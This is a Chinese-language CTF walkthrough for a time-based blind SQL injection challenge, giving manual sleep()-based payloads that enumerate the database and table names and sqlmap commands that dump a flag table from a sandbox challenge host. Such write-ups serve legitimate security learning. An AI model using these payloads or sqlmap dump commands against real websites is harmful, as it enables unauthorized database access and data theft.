2025.1.15——五、时间盲注

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,得本题为时间盲注

二、手工注入解题

[step 1:手工注入确认为时间盲注](#step 1:手工注入确认为时间盲注)

[step 2:爆数据库长度、名称](#step 2:爆数据库长度、名称)

1.数据库长度

2.数据库名

[step 3:爆表数、长度、名称](#step 3:爆表数、长度、名称)

1.爆表数

2.爆表名长度

3.爆具体名称

三、sqlmap解题

step1:爆数据库名

[step 2:爆表名](#step 2:爆表名)

[step 3:爆列名](#step 3:爆列名)

[step 4:爆具体数据](#step 4:爆具体数据)

四、小结


一、基本操作:整理已知信息,得本题为时间盲注

二、手工注入解题

step 1:手工注入确认为时间盲注

键入:1

键入:1'

以上均无反应

但一下payload

sql 复制代码
 1 and sleep(10)

明显感觉到延迟

step 2:爆数据库长度、名称

1.数据库长度

sql 复制代码
1 and if(length(database())=4,sleep(10),1)

2.数据库名

sql 复制代码
1 and if(ascii(substr(database(),1,1))>110,sleep(5),1)

先判断字符范围

逐步确认信息

sql 复制代码
1 and if(ascii(substr(database(),1,1))=115,sleep(15),1)

逐步得到信息115 113 108 105,得数据库名是sqli

step 3:爆表数、长度、名称

1.爆表数

sql 复制代码
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)

2.爆表名长度

正确payload如下

sql 复制代码
1 and if(length((select table_name from information_schema.tables where table_schema='sqli' limit 0,1))=4,sleep(10),1)

注:这里length()函数中需要一个括号将select语句括起来,才算完整,否则运行不下去

3.爆具体名称

以下payload无语法错误,但是运行不出来是因为表排列顺序不同

1 and if(ascii((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)=110,sleep(15),1)

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

正确payload如下

sql 复制代码
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)

这里的问题是表的顺序,第一个表是news,第二个表是flag

三、sqlmap解题

sqlmap爆数据库名、表名、列名、具体数据形式

sqlmap -u url --current-db

sqlmap -u url -D sqli --tables

sqlmap -u url -D sqli -T flag --columns

sqlmap -u url -D sqli -T flag -C flag --dump

step1:爆数据库名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 --current-db

step 2:爆表名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

step 3:爆列名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

step 4:爆具体数据

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

四、小结

sqlmap中有value字样,是说有几个值,比如爆具体数据时显示1,说明有一个值在其中

相关推荐
远方16091 分钟前
14-Oracle 23ai Vector Search 向量索引和混合索引-实操
数据库·ai·oracle
GUIQU.1 小时前
【Oracle】数据仓库
数据库·oracle
DevSecOps选型指南1 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化1 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥1 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
咖啡啡不加糖2 小时前
Redis大key产生、排查与优化实践
java·数据库·redis·后端·缓存
曼汐 .2 小时前
数据库管理与高可用-MySQL高可用
数据库·mysql
2301_793102492 小时前
Linux——MySql数据库
linux·数据库
喵叔哟2 小时前
第4章:Cypher查询语言基础
数据库
刘 大 望2 小时前
数据库-联合查询(内连接外连接),子查询,合并查询
java·数据库·sql·mysql